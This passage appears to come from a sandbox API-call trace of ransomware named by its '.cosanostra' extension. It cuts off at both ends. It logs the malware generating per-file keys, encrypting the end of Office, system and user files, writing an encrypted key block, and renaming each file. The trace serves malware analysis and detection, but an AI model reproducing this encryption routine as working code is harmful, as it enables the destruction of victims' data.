"c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\omsintl.dll.trx_dll.cosanostra")) returned 1 [0096.392] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f4c8 | out: pbBuffer=0x251f4c8) returned 1 [0096.392] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f4c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f4c0*=0x30) returned 1 [0096.392] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0096.393] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll") returned 75 [0096.393] StrStrW (lpFirst="MSOINTL.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0096.417] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.418] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f484, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f484*=0x2800, lpOverlapped=0x0) returned 1 [0096.418] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.418] WriteFile (in: hFile=0x160, lpBuffer=0x251f4c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f484, lpOverlapped=0x0 | out: lpBuffer=0x251f4c4*, lpNumberOfBytesWritten=0x251f484*=0x4, lpOverlapped=0x0) returned 1 [0096.427] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f484, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f484*=0x30, lpOverlapped=0x0) returned 1 [0096.427] CloseHandle (hObject=0x160) returned 1 [0096.427] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll.cosanostra") returned 86 [0096.427] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.dll.trx_dll.cosanostra")) returned 1 [0096.428] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f4c0 | out: pbBuffer=0x251f4c0) returned 1 [0096.428] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f4b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f4b8*=0x30) returned 1 [0096.428] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0096.428] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll") returned 77 [0096.428] StrStrW (lpFirst="GRINTL32.REST.trx_dll", lpSrch=".txt") returned 0x0 [0096.459] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.459] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f47c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f47c*=0x2800, lpOverlapped=0x0) returned 1 [0096.460] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.460] WriteFile (in: hFile=0x160, lpBuffer=0x251f4bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f47c, lpOverlapped=0x0 | out: lpBuffer=0x251f4bc*, lpNumberOfBytesWritten=0x251f47c*=0x4, lpOverlapped=0x0) returned 1 [0096.470] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f47c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f47c*=0x30, lpOverlapped=0x0) returned 1 [0096.470] CloseHandle (hObject=0x160) returned 1 [0096.470] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll.cosanostra") returned 88 [0096.470] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.rest.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.rest.trx_dll.cosanostra")) returned 1 [0096.471] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f4c0 | out: pbBuffer=0x251f4c0) returned 1 [0096.471] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f4b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f4b8*=0x30) returned 1 [0096.471] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\sharepointportalsite.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.509] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico") returned 64 [0096.510] StrStrW (lpFirst="SharePointPortalSite.ico", lpSrch=".txt") returned 0x0 [0096.511] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.511] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f47c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251f47c*=0x2800, lpOverlapped=0x0) returned 1 [0096.511] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.511] WriteFile (in: hFile=0x138, lpBuffer=0x251f4bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f47c, lpOverlapped=0x0 | out: lpBuffer=0x251f4bc*, lpNumberOfBytesWritten=0x251f47c*=0x4, lpOverlapped=0x0) returned 1 [0096.512] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f47c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f47c*=0x30, lpOverlapped=0x0) returned 1 [0096.512] CloseHandle (hObject=0x138) returned 1 [0096.513] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico.cosanostra") returned 75 [0096.513] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\sharepointportalsite.ico"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\sharepointportalsite.ico.cosanostra")) returned 1 [0096.514] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f4b8 | out: pbBuffer=0x251f4b8) returned 1 [0096.514] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f4b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f4b0*=0x30) returned 1 [0096.514] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\mysharepoints.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.515] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico") returned 57 [0096.515] StrStrW (lpFirst="MySharePoints.ico", lpSrch=".txt") returned 0x0 [0096.517] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.517] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f474, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251f474*=0x2800, lpOverlapped=0x0) returned 1 [0096.517] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.517] WriteFile (in: hFile=0x138, lpBuffer=0x251f4b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f474, lpOverlapped=0x0 | out: lpBuffer=0x251f4b4*, lpNumberOfBytesWritten=0x251f474*=0x4, lpOverlapped=0x0) returned 1 [0096.529] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f474, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f474*=0x30, lpOverlapped=0x0) returned 1 [0096.529] CloseHandle (hObject=0x138) returned 1 [0096.530] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico.cosanostra") returned 68 [0096.530] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\mysharepoints.ico"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\mysharepoints.ico.cosanostra")) returned 1 [0096.530] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f4b8 | out: pbBuffer=0x251f4b8) returned 1 [0096.531] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f4b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f4b0*=0x30) returned 1 [0096.531] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\documentrepository.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.537] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico") returned 62 [0096.537] StrStrW (lpFirst="DocumentRepository.ico", lpSrch=".txt") returned 0x0 [0096.538] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.538] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f474, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251f474*=0x2800, lpOverlapped=0x0) returned 1 [0096.538] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.538] WriteFile (in: hFile=0x138, lpBuffer=0x251f4b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f474, lpOverlapped=0x0 | out: lpBuffer=0x251f4b4*, lpNumberOfBytesWritten=0x251f474*=0x4, lpOverlapped=0x0) returned 1 [0096.539] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f474, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f474*=0x30, lpOverlapped=0x0) returned 1 [0096.539] CloseHandle (hObject=0x138) returned 1 [0096.539] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico.cosanostra") returned 73 [0096.539] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\documentrepository.ico"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\documentrepository.ico.cosanostra")) returned 1 [0096.540] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f4b0 | out: pbBuffer=0x251f4b0) returned 1 [0096.540] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f4a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f4a8*=0x30) returned 1 [0096.540] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\assetlibrary.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.574] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico") returned 56 [0096.574] StrStrW (lpFirst="AssetLibrary.ico", lpSrch=".txt") returned 0x0 [0096.578] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffeaca, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.579] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x1536, lpNumberOfBytesWritten=0x251f46c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251f46c*=0x1536, lpOverlapped=0x0) returned 1 [0096.579] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.579] WriteFile (in: hFile=0x138, lpBuffer=0x251f4ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f46c, lpOverlapped=0x0 | out: lpBuffer=0x251f4ac*, lpNumberOfBytesWritten=0x251f46c*=0x4, lpOverlapped=0x0) returned 1 [0096.579] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f46c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f46c*=0x30, lpOverlapped=0x0) returned 1 [0096.579] CloseHandle (hObject=0x138) returned 1 [0096.579] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico.cosanostra") returned 67 [0096.579] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\assetlibrary.ico"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\assetlibrary.ico.cosanostra")) returned 1 [0096.582] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f490 | out: pbBuffer=0x251f490) returned 1 [0096.582] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f488*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f488*=0x30) returned 1 [0096.582] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\users\\all users\\microsoft\\mf\\active.grl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.583] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL") returned 46 [0096.583] StrStrW (lpFirst="Active.GRL", lpSrch=".txt") returned 0x0 [0096.795] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.795] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f44c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251f44c*=0x2800, lpOverlapped=0x0) returned 1 [0096.795] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.795] WriteFile (in: hFile=0x138, lpBuffer=0x251f48c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f44c, lpOverlapped=0x0 | out: lpBuffer=0x251f48c*, lpNumberOfBytesWritten=0x251f44c*=0x4, lpOverlapped=0x0) returned 1 [0096.831] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f44c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f44c*=0x30, lpOverlapped=0x0) returned 1 [0096.832] CloseHandle (hObject=0x138) returned 1 [0096.832] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL.cosanostra") returned 57 [0096.832] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\users\\all users\\microsoft\\mf\\active.grl"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\mf\\active.grl.cosanostra")) returned 1 [0096.833] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f488 | out: pbBuffer=0x251f488) returned 1 [0096.833] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f480*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f480*=0x30) returned 1 [0096.833] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlui.dll" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\ppcrlui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0096.931] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlui.dll") returned 56 [0096.931] StrStrW (lpFirst="ppcrlui.dll", lpSrch=".txt") returned 0x0 [0096.954] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.954] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f444, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f444*=0x2800, lpOverlapped=0x0) returned 1 [0096.954] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.954] WriteFile (in: hFile=0x180, lpBuffer=0x251f484*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f444, lpOverlapped=0x0 | out: lpBuffer=0x251f484*, lpNumberOfBytesWritten=0x251f444*=0x4, lpOverlapped=0x0) returned 1 [0097.001] WriteFile (in: hFile=0x180, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f444, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f444*=0x30, lpOverlapped=0x0) returned 1 [0097.001] CloseHandle (hObject=0x180) returned 1 [0097.007] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlui.dll.cosanostra") returned 67 [0097.007] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlui.dll" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\ppcrlui.dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlui.dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\ppcrlui.dll.cosanostra")) returned 1 [0097.007] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f488 | out: pbBuffer=0x251f488) returned 1 [0097.007] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f480*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f480*=0x30) returned 1 [0097.008] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_assetid.h1w"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.021] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W") returned 82 [0097.021] StrStrW (lpFirst="Help_MKWD_AssetId.H1W", lpSrch=".txt") returned 0x0 [0097.094] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.094] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f444, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251f444*=0x2800, lpOverlapped=0x0) returned 1 [0097.094] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.094] WriteFile (in: hFile=0x138, lpBuffer=0x251f484*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f444, lpOverlapped=0x0 | out: lpBuffer=0x251f484*, lpNumberOfBytesWritten=0x251f444*=0x4, lpOverlapped=0x0) returned 1 [0097.099] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f444, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f444*=0x30, lpOverlapped=0x0) returned 1 [0097.099] CloseHandle (hObject=0x138) returned 1 [0097.099] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W.cosanostra") returned 93 [0097.099] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_assetid.h1w"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_assetid.h1w.cosanostra")) returned 1 [0097.100] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f480 | out: pbBuffer=0x251f480) returned 1 [0097.100] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f478*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f478*=0x30) returned 1 [0097.100] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\7Ws7HTNpqoUje.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\7ws7htnpqouje.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.100] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\7Ws7HTNpqoUje.mkv") returned 84 [0097.100] StrStrW (lpFirst="7Ws7HTNpqoUje.mkv", lpSrch=".txt") returned 0x0 [0097.101] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.101] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f43c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f43c*=0x2800, lpOverlapped=0x0) returned 1 [0097.101] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.101] WriteFile (in: hFile=0x138, lpBuffer=0x251f47c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f43c, lpOverlapped=0x0 | out: lpBuffer=0x251f47c*, lpNumberOfBytesWritten=0x251f43c*=0x4, lpOverlapped=0x0) returned 1 [0097.102] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, 